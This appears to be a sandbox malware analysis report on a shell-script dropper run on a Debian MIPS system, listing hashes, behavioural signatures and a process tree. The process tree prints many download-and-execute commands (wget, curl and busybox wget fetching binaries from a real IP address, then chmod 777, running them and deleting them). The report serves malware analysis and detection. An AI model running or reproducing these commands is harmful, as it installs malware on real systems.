6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f

Analysis

max time kernel
85s
max time network
87s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
19/11/2024, 04:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f.sh
Size 10KB
Sample241119-fb76la1dqq
SHA256 6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f
MD5 0c94b61e9320290b422b40af0667aa4b
SHA1 5aa7f5bce1156ea88651cb784b9fbb20e4e379da
SHA512 72396f006b01cda0ec5da91ce55a5735b8d6aaa491bdbb6127987a9e19a06522944bb9b457b135bc503f04ba15ab4765ffc0ba9fe935a7f15bf846a666473fc7
SSDEEP 192:my+cafru7b/s+yw7ckgOkaOkmOkkknkvk4zZz5zIJtK76GG7WKe6qUqcqqHbTnTc:fF1VkjknkkknkvkalFIJtKmK5/HqHb5K
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
831	chmod
873	chmod
915	chmod
927	chmod
741	chmod
849	chmod
903	chmod
734	chmod
891	chmod
963	chmod
778	chmod
909	chmod
939	chmod
951	chmod
747	chmod
804	chmod
879	chmod
885	chmod
825	chmod
933	chmod
975	chmod
897	chmod
921	chmod
945	chmod
957	chmod
969	chmod
758	chmod
816	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6	curl
File opened for modification	/tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA	curl
File opened for modification	/tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE	curl
File opened for modification	/tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO	curl
File opened for modification	/tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C	curl
File opened for modification	/tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa	curl
File opened for modification	/tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM	curl
File opened for modification	/tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE	curl
File opened for modification	/tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP	curl
File opened for modification	/tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4	curl
File opened for modification	/tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C	curl
File opened for modification	/tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH	curl
File opened for modification	/tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE	curl
File opened for modification	/tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6	curl
File opened for modification	/tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO	curl
File opened for modification	/tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4	curl
File opened for modification	/tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN	curl
File opened for modification	/tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa	curl
File opened for modification	/tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN	curl
File opened for modification	/tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi	curl
File opened for modification	/tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM	curl
File opened for modification	/tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH	curl
File opened for modification	/tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA	curl
File opened for modification	/tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH	curl
File opened for modification	/tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH	curl
File opened for modification	/tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE	curl
File opened for modification	/tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi	curl
File opened for modification	/tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP	curl

/tmp/6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f.sh
/tmp/6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:714
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:732
- /bin/chmod
  chmod 777 hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  ./hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:740
- /bin/chmod
  chmod 777 nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  ./nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:746
- /bin/chmod
  chmod 777 sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  ./sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:754
- /bin/chmod
  chmod 777 sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  ./sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:763
- /usr/bin/wget
  wget http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:769
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:774
- /bin/chmod
  chmod 777 yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  ./yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:783
- /usr/bin/wget
  wget http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:799
- /bin/chmod
  chmod 777 bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  ./bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:809
- /usr/bin/wget
  wget http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:815
- /bin/chmod
  chmod 777 tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  ./tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:818
- /usr/bin/wget
  wget http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:824
- /bin/chmod
  chmod 777 bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  ./bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:827
- /usr/bin/wget
  wget http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:830
- /bin/chmod
  chmod 777 NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  ./NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:833
- /usr/bin/wget
  wget http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:844
- /bin/chmod
  chmod 777 l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  ./l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:853
- /usr/bin/wget
  wget http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:869
- /bin/chmod
  chmod 777 0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  ./0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm 0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:875
- /usr/bin/wget
  wget http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:878
- /bin/chmod
  chmod 777 3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  ./3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm 3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:881
- /usr/bin/wget
  wget http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:884
- /bin/chmod
  chmod 777 9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  ./9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm 9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:887
- /usr/bin/wget
  wget http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:890
- /bin/chmod
  chmod 777 reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  ./reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:893
- /usr/bin/wget
  wget http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:896
- /bin/chmod
  chmod 777 yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  ./yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:899
- /usr/bin/wget
  wget http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:902
- /bin/chmod
  chmod 777 bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  ./bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:905
- /usr/bin/wget
  wget http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:908
- /bin/chmod
  chmod 777 tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  ./tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:911
- /usr/bin/wget
  wget http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:914
- /bin/chmod
  chmod 777 sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  ./sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:917
- /usr/bin/wget
  wget http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:920
- /bin/chmod
  chmod 777 NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  ./NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:923
- /usr/bin/wget
  wget http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:926
- /bin/chmod
  chmod 777 l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  ./l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:929
- /usr/bin/wget
  wget http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:932
- /bin/chmod
  chmod 777 0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  ./0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm 0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:935
- /usr/bin/wget
  wget http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:938
- /bin/chmod
  chmod 777 bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  ./bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:941
- /usr/bin/wget
  wget http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:944
- /bin/chmod
  chmod 777 9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  ./9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm 9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:947
- /usr/bin/wget
  wget http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:950
- /bin/chmod
  chmod 777 reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  ./reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:953
- /usr/bin/wget
  wget http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:956
- /bin/chmod
  chmod 777 3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  ./3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
